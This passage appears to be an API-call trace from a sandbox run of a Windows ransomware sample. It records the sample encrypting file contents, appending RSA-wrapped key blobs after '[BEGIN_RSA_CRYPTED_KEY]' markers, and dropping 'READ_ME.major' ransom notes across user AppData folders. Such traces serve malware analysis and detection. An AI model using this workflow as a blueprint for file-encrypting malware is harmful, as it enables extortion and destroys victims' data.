(HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f938d8 [0194.628] ReadFile (in: hFile=0xae0, lpBuffer=0x2f958e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.637] SetFilePointer (in: hFile=0xae0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.637] WriteFile (in: hFile=0xae0, lpBuffer=0x2f938d8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.637] SetFilePointer (in: hFile=0xae0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0194.637] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.637] WriteFile (in: hFile=0xae0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.637] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.637] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.638] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.638] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.638] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="SY7TV2EVM3T2TPEc1qhnHwuDcUYuZ3vfYvQ/OKNvT/+liXigTWlNGRje/fTSm8AQ\n/Yhfb6zaviyQoDBN91AMjiPtegJTvib15v3pXmSQnHH4JylMvuBEKCllkTLmYel7\nsbvt/VYtW0exui7kMAMAvbZwP+MkJMl5PnwK4aA/lfe21EddXxSHy6atIZqZyTIG\nwy0ruUKTB6AbDmOq8Ipe2zsCh3KiIUIPGjpdMHRhtwl946hoPLOuJH37yDc2r3Ca\n+kSrJtrLRN915kpCni8cRUO9Yz2SDhzWTAlVHT7EXs0VjKlQoAmlsQS7rcpaIbDh\nlcI65njkju6MkrOau5fXQg==\n", pcchString=0x2e3f9a8) returned 1 [0194.638] WriteFile (in: hFile=0xae0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.638] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.638] WriteFile (in: hFile=0xae0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.638] CloseHandle (hObject=0xae0) returned 1 [0194.647] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.647] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0194.648] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f85928 [0194.648] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5b4ae0 [0194.648] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xae0 [0194.648] GetFileSizeEx (in: hFile=0xae0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0194.648] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d350 [0194.648] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d390 [0194.648] ReadFile (in: hFile=0xae0, lpBuffer=0x59d350, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d350*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.648] SetFilePointer (in: hFile=0xae0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.649] WriteFile (in: hFile=0xae0, lpBuffer=0x59d390*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d390*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.649] SetFilePointer (in: hFile=0xae0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0194.649] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.649] WriteFile (in: hFile=0xae0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.649] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.650] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.650] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.650] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.650] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="StRGj18ad4Ng5ujfzP8n6IDB/zukhfa/xJrAFRh+5lz96SNwdBfJpbk9lyHTvAZD\nooryaTFBpcKd1lNzy21F8WlJCtYtBBXPTh32dr/j9QLJ6TxbwreOonSwARDb29tY\n/WMnDmp6+IywwadTE/xKvv8++RIStqsV2t7dFPTZ7aVinWlGHbwkcZ/6qRx8CgKL\n79qkRkrhdC4GoRksbL8PZb4nFj+tw7fwv1nA6M6jt/mzm7tJLK8tP2bqdf755IdZ\nZ18jkk/H4E/OFB9H6/VTVyj+P9wZXu9Kqb/KYk2bzmOFUayadD0sskiwYhTURKZ3\naSD2VlSt6qZ8DGrdtc5CFw==\n", pcchString=0x2e3f9a8) returned 1 [0194.650] WriteFile (in: hFile=0xae0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.650] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.650] WriteFile (in: hFile=0xae0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.650] CloseHandle (hObject=0xae0) returned 1 [0194.652] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c878 [0194.652] FindNextFileW (in: hFindFile=0x2f2c878, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.652] FindNextFileW (in: hFindFile=0x2f2c878, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd94ead, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bd94ead, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.652] FindNextFileW (in: hFindFile=0x2f2c878, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd94ead, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bd94ead, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.652] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f89590 [0194.652] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c8b8 [0194.652] FindNextFileW (in: hFindFile=0x2f2c8b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.652] FindNextFileW (in: hFindFile=0x2f2c8b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd94ead, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bd94ead, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.652] FindNextFileW (in: hFindFile=0x2f2c8b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd94ead, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bd94ead, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.652] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0278 [0194.652] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79f1d90f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f43b71, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c138 [0194.653] FindNextFileW (in: hFindFile=0x2f2c138, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79f1d90f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f43b71, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.653] FindNextFileW (in: hFindFile=0x2f2c138, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79f43b71, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f43b71, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79f43b71, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0194.653] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaec [0194.654] WriteFile (in: hFile=0xaec, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.655] CloseHandle (hObject=0xaec) returned 1 [0194.655] FindNextFileW (in: hFindFile=0x2f2c138, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79f43b71, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f43b71, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79f43b71, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0194.655] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaec [0194.656] WriteFile (in: hFile=0xaec, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.658] CloseHandle (hObject=0xaec) returned 1 [0194.658] FindNextFileW (in: hFindFile=0x2f2c138, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79f43b71, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f43b71, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79f43b71, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0194.658] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaec [0194.659] WriteFile (in: hFile=0xaec, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.660] CloseHandle (hObject=0xaec) returned 1 [0194.660] FindNextFileW (in: hFindFile=0x2f2c138, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bd94ead, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bd94ead, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bdbb117, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.660] FindNextFileW (in: hFindFile=0x2f2c138, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79f43b71, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f43b71, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79f43b71, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0194.660] FindNextFileW (in: hFindFile=0x2f2c138, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79f43b71, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f43b71, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79f43b71, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0194.660] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66c908 [0194.660] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ef76b0, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ef76b0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bdbb117, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c3f8 [0194.660] FindNextFileW (in: hFindFile=0x2f2c3f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ef76b0, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ef76b0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bdbb117, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.660] FindNextFileW (in: hFindFile=0x2f2c3f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bdbb117, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bdbb117, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bdbb117, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.660] FindNextFileW (in: hFindFile=0x2f2c3f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bdbb117, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bdbb117, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bdbb117, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.660] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66c320 [0194.660] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ed145d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2be076f8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c0b8 [0194.660] FindNextFileW (in: hFindFile=0x2f2c0b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ed145d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2be076f8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.661] FindNextFileW (in: hFindFile=0x2f2c0b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2be076f8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2be076f8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2be076f8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.661] FindNextFileW (in: hFindFile=0x2f2c0b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2be076f8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2be076f8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2be076f8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.661] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66c4d0 [0194.661] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ed145d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2be076f8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c7f8 [0194.661] FindNextFileW (in: hFindFile=0x2f2c7f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, 